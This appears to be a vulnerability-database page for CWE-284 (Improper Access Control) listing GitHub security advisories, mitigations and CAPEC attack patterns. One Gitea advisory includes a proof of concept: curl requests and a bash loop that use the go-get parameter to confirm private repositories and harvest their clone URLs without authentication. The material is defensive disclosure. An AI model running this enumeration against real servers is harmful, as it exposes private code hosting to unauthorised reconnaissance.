CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8431 vulnerabilities reference this CWE, most recent first.
GHSA-P4HF-76X7-9VQG
Vulnerability from github – Published: 2023-10-03 00:30 – Updated: 2024-09-20 18:32A flaw exists in FlashBlade Purity (OE) Version 4.1.0 whereby a user with privileges to extend an object’s retention period can affect the availability of the object lock.
{
"affected": [],
"aliases": [
"CVE-2023-28372"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-02T23:15:12Z",
"severity": "LOW"
},
"details": "A flaw exists in FlashBlade Purity (OE) Version 4.1.0 whereby a user with privileges to extend an object\u2019s retention period can affect the availability of the object lock.\n",
"id": "GHSA-p4hf-76x7-9vqg",
"modified": "2024-09-20T18:32:23Z",
"published": "2023-10-03T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28372"
},
{
"type": "WEB",
"url": "https://support.purestorage.com/Pure_Storage_Technical_Services/Field_Bulletins/Security_Bulletins/Security_Bulletin_for_FlashBlade_Object_Store_Privileged_Access_Vulnerability_CVE-2023-28372"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4JX-Q62P-X5JR
Vulnerability from github – Published: 2024-05-16 09:33 – Updated: 2024-05-16 17:46A broken access control vulnerability exists in mlflow/mlflow versions before 2.10.1, where low privilege users with only EDIT permissions on an experiment can delete any artifacts. This issue arises due to the lack of proper validation for DELETE requests by users with EDIT permissions, allowing them to perform unauthorized deletions of artifacts. The vulnerability specifically affects the handling of artifact deletions within the application, as demonstrated by the ability of a low privilege user to delete a directory inside an artifact using a DELETE request, despite the official documentation stating that users with EDIT permission can only read and update artifacts, not delete them.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-4263"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-16T17:46:38Z",
"nvd_published_at": "2024-05-16T09:15:16Z",
"severity": "MODERATE"
},
"details": "A broken access control vulnerability exists in mlflow/mlflow versions before 2.10.1, where low privilege users with only EDIT permissions on an experiment can delete any artifacts. This issue arises due to the lack of proper validation for DELETE requests by users with EDIT permissions, allowing them to perform unauthorized deletions of artifacts. The vulnerability specifically affects the handling of artifact deletions within the application, as demonstrated by the ability of a low privilege user to delete a directory inside an artifact using a DELETE request, despite the official documentation stating that users with EDIT permission can only read and update artifacts, not delete them.",
"id": "GHSA-p4jx-q62p-x5jr",
"modified": "2024-05-16T17:46:38Z",
"published": "2024-05-16T09:33:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4263"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/b43e0e3de5b500554e13dc032ba2083b2d6c94b8"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-51.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/bfa116d3-2af8-4c4a-ac34-ccde7491ae11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "MLflow allows low privilege users to delete any artifact"
}
GHSA-P4MJ-98MV-XQ26
Vulnerability from github – Published: 2026-07-21 20:23 – Updated: 2026-07-21 20:23| Field | Value |
|---|---|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63–66, services/context/repo.go:374–396 |
| Prerequisite | None — fully unauthenticated |
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:
- The repository is private
- The requesting user is authenticated
- The requesting user has any permission on the repository
The entry point is routers/web/repo/githttp.go:63–66:
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...
The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}
The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
- The full repository name and owner — confirming the repository exists
- The HTTP clone URL — a fully-formed URL pointing to the repository
- The source browsing URL templates — which may reveal the default branch name
This allows an unauthenticated attacker to:
- Confirm existence of any private repository by name
- Enumerate private repository names through brute-force without triggering authentication failures
- Harvest clone URLs and default branch names of private repositories
Proof of Concept
Step 1 — Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
Step 2 — Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
Step 3 — Bypass using go-get parameter
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"
Actual response (HTTP 200):
<!doctype html>
<html>
<head>
<meta name="go-import"
content="localhost:3000/admin/classified-internal
git
http://localhost:3000/admin/classified-internal.git">
<meta name="go-source"
content="localhost:3000/admin/classified-internal
_
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
</head>
<body>
go get --insecure localhost:3000/admin/classified-internal
</body>
</html>
The response:
- Returns HTTP 200 (not 404) — confirming the repository exists
- Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
- Reveals the default branch name: main
- Reveals the owner username: admin
This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
Step 4 — Enumerate private repositories at scale
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
if echo "$response" | grep -q "go-import"; then
clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
echo "[FOUND] admin/${name} → clone: http://${clone_url}"
fi
done
Step 5 — Verify the same applies to the main web router
The vulnerability also exists via the standard web router for repository pages:
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"
All return HTTP 200 with the metadata.
Impact Analysis
Direct impact:
| What is leaked | Sensitivity |
|---|---|
| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |
| Owner / organization name | Reveals organizational structure |
| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |
| Default branch name | Reduces brute-force surface for subsequent attacks |
Root Cause Analysis
The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.
The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.
Recommended Fix
The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.
// routers/web/repo/githttp.go:63–66 — proposed fix
if ctx.FormString("go-get") == "1" {
// For public repos, always respond to support the go toolchain
if repo != nil && !repo.IsPrivate {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
// For private repos, only respond if the user is authenticated
// and has at least read access
if ctx.IsSigned {
if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
if perm.CanRead(unit.TypeCode) {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
}
}
// Unauthenticated request for a private repo — return 404 consistent
// with normal behavior; the go toolchain will prompt for credentials
ctx.PlainText(http.StatusNotFound, "Repository not found")
return nil
}
This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58507"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:23:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "| Field | Value |\n|-------|-------|\n| **Affected File** | `routers/web/repo/githttp.go`, `services/context/repo.go` |\n| **Affected Functions** | `httpBase()`, `EarlyResponseForGoGetMeta()` |\n| **Affected Lines** | `githttp.go:63\u201366`, `services/context/repo.go:374\u2013396` |\n| **Prerequisite** | None \u2014 fully unauthenticated |\n\n---\n\n#### Description\n\nGitea implements a special behavior for requests containing the `?go-get=1` query parameter. This parameter is sent by the Go toolchain (`go get`, `go install`) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing `\u003cmeta name=\"go-import\"\u003e` and `\u003cmeta name=\"go-source\"\u003e` tags \u2014 regardless of whether:\n\n- The repository is private\n- The requesting user is authenticated\n- The requesting user has any permission on the repository\n\nThe entry point is `routers/web/repo/githttp.go:63\u201366`:\n\n```go\nfunc httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {\n reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n\n if ctx.FormString(\"go-get\") == \"1\" {\n context.EarlyResponseForGoGetMeta(ctx)\n return nil // \u2190 returns before any auth or permission check\n }\n ...\n```\n\nThe `EarlyResponseForGoGetMeta` function (`services/context/repo.go:379\u2013396`) is called unconditionally, and the function\u0027s own docstring documents the intended behavior:\n\n```go\n// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200\n// if user does not have actual access to the requested repository,\n// or the owner or repository does not exist at all.\n// This is particular a workaround for \"go get\" command which does not respect\n// .netrc file.\nfunc EarlyResponseForGoGetMeta(ctx *Context) {\n username := ctx.PathParam(\"username\")\n reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n ...\n ctx.PlainText(http.StatusOK, htmlMeta) // \u2190 HTTP 200, no auth check\n}\n```\n\nThe function also appears at `services/context/repo.go:444, 516, 571` \u2014 all repository-scoped route handlers that check `?go-get=1` and call `EarlyResponseForGoGetMeta` before performing any permission verification.\n\nThe metadata returned includes:\n\n1. The **full repository name** and owner \u2014 confirming the repository exists\n2. The **HTTP clone URL** \u2014 a fully-formed URL pointing to the repository\n3. The **source browsing URL templates** \u2014 which may reveal the default branch name\n\nThis allows an unauthenticated attacker to:\n\n1. **Confirm existence** of any private repository by name\n2. **Enumerate** private repository names through brute-force without triggering authentication failures\n3. **Harvest** clone URLs and default branch names of private repositories\n\n---\n\n#### Proof of Concept\n\n**Step 1 \u2014 Identify a private repository**\n\nAny private repository works. For this demonstration, `admin/classified-internal` is set to private:\n\n---\n\n**Step 2 \u2014 Confirm access is denied without authentication**\n\nStandard requests to a private repository correctly return 404 for unauthenticated users.\n\n---\n\n**Step 3 \u2014 Bypass using go-get parameter**\n\n```bash\ncurl -s \"http://localhost:3000/admin/classified-internal?go-get=1\"\n```\n\n**Actual response (HTTP 200):**\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta name=\"go-import\"\n content=\"localhost:3000/admin/classified-internal\n git\n http://localhost:3000/admin/classified-internal.git\"\u003e\n \u003cmeta name=\"go-source\"\n content=\"localhost:3000/admin/classified-internal\n _\n http://localhost:3000/admin/classified-internal/src/branch/main{/dir}\n http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}\"\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n go get --insecure localhost:3000/admin/classified-internal\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe response:\n- Returns HTTP **200** (not 404) \u2014 confirming the repository **exists**\n- Reveals the **full clone URL**: `http://localhost:3000/admin/classified-internal.git`\n- Reveals the **default branch name**: `main`\n- Reveals the **owner username**: `admin`\n\nThis same response is returned whether or not the repository exists \u2014 the comment in `EarlyResponseForGoGetMeta` states it responds identically for both \u2014 however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting `git ls-remote`.\n\n---\n\n**Step 4 \u2014 Enumerate private repositories at scale**\n\n```bash\n# Enumerate private repos by guessing common names\nfor name in internal deploy secrets infra api-keys prod-config db-creds; do\n response=$(curl -s \"http://localhost:3000/admin/${name}?go-get=1\")\n if echo \"$response\" | grep -q \"go-import\"; then\n clone_url=$(echo \"$response\" | grep -oP \u0027git http://\\K[^ \"]+\u0027)\n echo \"[FOUND] admin/${name} \u2192 clone: http://${clone_url}\"\n fi\ndone\n```\n\n---\n\n**Step 5 \u2014 Verify the same applies to the main web router**\n\nThe vulnerability also exists via the standard web router for repository pages:\n\n```bash\n# Works on any repo-scoped URL\ncurl -s \"http://localhost:3000/admin/classified-internal/releases?go-get=1\" | grep \"go-import\"\ncurl -s \"http://localhost:3000/admin/classified-internal/issues?go-get=1\" | grep \"go-import\"\n```\n\nAll return HTTP 200 with the metadata.\n\n---\n\n#### Impact Analysis\n\n**Direct impact:**\n\n| What is leaked | Sensitivity |\n|----------------|-------------|\n| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |\n| Owner / organization name | Reveals organizational structure |\n| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |\n| Default branch name | Reduces brute-force surface for subsequent attacks |\n\n---\n\n#### Root Cause Analysis\n\nThe bypass was introduced intentionally as a workaround for the Go toolchain\u0027s limitation of not reading `.netrc` credentials before deciding whether a module is accessible. The Go `go get` command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.\n\nThe workaround \u2014 returning metadata unconditionally \u2014 was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.\n\n---\n\n#### Recommended Fix\n\nThe fix requires differentiating between requests that carry authentication credentials and those that do not, before calling `EarlyResponseForGoGetMeta`.\n\n```go\n// routers/web/repo/githttp.go:63\u201366 \u2014 proposed fix\n\nif ctx.FormString(\"go-get\") == \"1\" {\n // For public repos, always respond to support the go toolchain\n if repo != nil \u0026\u0026 !repo.IsPrivate {\n context.EarlyResponseForGoGetMeta(ctx)\n return nil\n }\n // For private repos, only respond if the user is authenticated\n // and has at least read access\n if ctx.IsSigned {\n if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {\n if perm.CanRead(unit.TypeCode) {\n context.EarlyResponseForGoGetMeta(ctx)\n return nil\n }\n }\n }\n // Unauthenticated request for a private repo \u2014 return 404 consistent\n // with normal behavior; the go toolchain will prompt for credentials\n ctx.PlainText(http.StatusNotFound, \"Repository not found\")\n return nil\n}\n```\n\nThis approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.\n\n---",
"id": "GHSA-p4mj-98mv-xq26",
"modified": "2026-07-21T20:23:48Z",
"published": "2026-07-21T20:23:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint"
}
GHSA-P4PR-J9CM-4P48
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Metadata Plugin). Supported versions that are affected are 13.5 and 24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Enterprise Manager Base Platform. While the vulnerability is in Oracle Enterprise Manager Base Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46855"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:54:03Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Metadata Plugin). Supported versions that are affected are 13.5 and 24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Enterprise Manager Base Platform. While the vulnerability is in Oracle Enterprise Manager Base Platform, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-p4pr-j9cm-4p48",
"modified": "2026-06-17T18:35:32Z",
"published": "2026-06-17T18:35:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46855"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4W9-8J85-2XW6
Vulnerability from github – Published: 2024-05-22 18:30 – Updated: 2024-08-22 00:31An issue in the component ddcdrv.sys of Nicomsoft WinI2C/DDC v3.7.4.0 allows attackers to escalate privileges and execute arbitrary code via sending crafted IOCTL requests.
{
"affected": [],
"aliases": [
"CVE-2024-33227"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-22T16:15:10Z",
"severity": "HIGH"
},
"details": "An issue in the component ddcdrv.sys of Nicomsoft WinI2C/DDC v3.7.4.0 allows attackers to escalate privileges and execute arbitrary code via sending crafted IOCTL requests.",
"id": "GHSA-p4w9-8j85-2xw6",
"modified": "2024-08-22T00:31:02Z",
"published": "2024-05-22T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33227"
},
{
"type": "WEB",
"url": "https://github.com/DriverHunter/Win-Driver-EXP/tree/main/CVE-2024-33227"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P52Q-HP8J-8XXW
Vulnerability from github – Published: 2022-05-17 01:22 – Updated: 2022-05-17 01:22Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated administrators to gain root privileges via unspecified vectors, a different vulnerability than CVE-2015-3654.
{
"affected": [],
"aliases": [
"CVE-2015-4649"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-29T15:29:00Z",
"severity": "HIGH"
},
"details": "Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated administrators to gain root privileges via unspecified vectors, a different vulnerability than CVE-2015-3654.",
"id": "GHSA-p52q-hp8j-8xxw",
"modified": "2022-05-17T01:22:08Z",
"published": "2022-05-17T01:22:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4649"
},
{
"type": "WEB",
"url": "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2015-009.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100539"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P56P-X426-8Q87
Vulnerability from github – Published: 2024-02-20 00:30 – Updated: 2025-04-01 18:30Insufficiently Protected Credentials, : Improper Access Control vulnerability in Brivo ACS100, ACS300 allows Password Recovery Exploitation, Bypassing Physical Security.This issue affects ACS100, ACS300: from 5.2.4 before 6.2.4.3.
{
"affected": [],
"aliases": [
"CVE-2023-6259"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-19T22:15:48Z",
"severity": "HIGH"
},
"details": "Insufficiently Protected Credentials, : Improper Access Control vulnerability in Brivo ACS100, ACS300 allows Password Recovery Exploitation, Bypassing Physical Security.This issue affects ACS100, ACS300: from 5.2.4 before 6.2.4.3.",
"id": "GHSA-p56p-x426-8q87",
"modified": "2025-04-01T18:30:33Z",
"published": "2024-02-20T00:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6259"
},
{
"type": "WEB",
"url": "https://sra.io/advisories"
},
{
"type": "WEB",
"url": "https://support.brivo.com/l/en/article/g82txdwepa-brivo-firmware-release-notes#brivo_firmware_release_6_2_4_3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P57H-48HH-W845
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 21:32Inappropriate implementation in DOM Distiller in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-11274"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T00:17:04Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in DOM Distiller in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-p57h-48hh-w845",
"modified": "2026-06-05T21:32:02Z",
"published": "2026-06-05T00:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11274"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/501760514"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P57J-CJP4-F37P
Vulnerability from github – Published: 2022-05-17 03:17 – Updated: 2022-05-17 03:17IBM WebSphere Portal 6.1.0 through 6.1.0.6 CF27, 6.1.5 through 6.1.5.3 CF27, 7.0.0 through 7.0.0.2 CF29, 8.0.0 through 8.0.0.1 CF18, and 8.5.0 before CF08 improperly restricts resource access, which allows remote attackers to obtain sensitive information via unspecified vectors, as demonstrated by configuration information.
{
"affected": [],
"aliases": [
"CVE-2014-8912"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-28T18:59:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Portal 6.1.0 through 6.1.0.6 CF27, 6.1.5 through 6.1.5.3 CF27, 7.0.0 through 7.0.0.2 CF29, 8.0.0 through 8.0.0.1 CF18, and 8.5.0 before CF08 improperly restricts resource access, which allows remote attackers to obtain sensitive information via unspecified vectors, as demonstrated by configuration information.",
"id": "GHSA-p57j-cjp4-f37p",
"modified": "2022-05-17T03:17:26Z",
"published": "2022-05-17T03:17:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8912"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1PI47714"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21963226"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033988"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P57M-J445-JV2J
Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-11-04 00:32This issue was addressed with improved access restrictions. This issue is fixed in visionOS 2.4, macOS Ventura 13.7.5, tvOS 18.4, iOS 18.4 and iPadOS 18.4, macOS Sequoia 15.4, macOS Sonoma 14.7.5. A malicious app may be able to dismiss the system notification on the Lock Screen that a recording was started.
{
"affected": [],
"aliases": [
"CVE-2025-30438"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-31T23:15:25Z",
"severity": "MODERATE"
},
"details": "This issue was addressed with improved access restrictions. This issue is fixed in visionOS 2.4, macOS Ventura 13.7.5, tvOS 18.4, iOS 18.4 and iPadOS 18.4, macOS Sequoia 15.4, macOS Sonoma 14.7.5. A malicious app may be able to dismiss the system notification on the Lock Screen that a recording was started.",
"id": "GHSA-p57m-j445-jv2j",
"modified": "2025-11-04T00:32:23Z",
"published": "2025-04-01T00:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30438"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122371"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122373"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122374"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122375"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122376"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122377"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122378"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/10"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/11"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/12"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/13"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/4"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/8"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
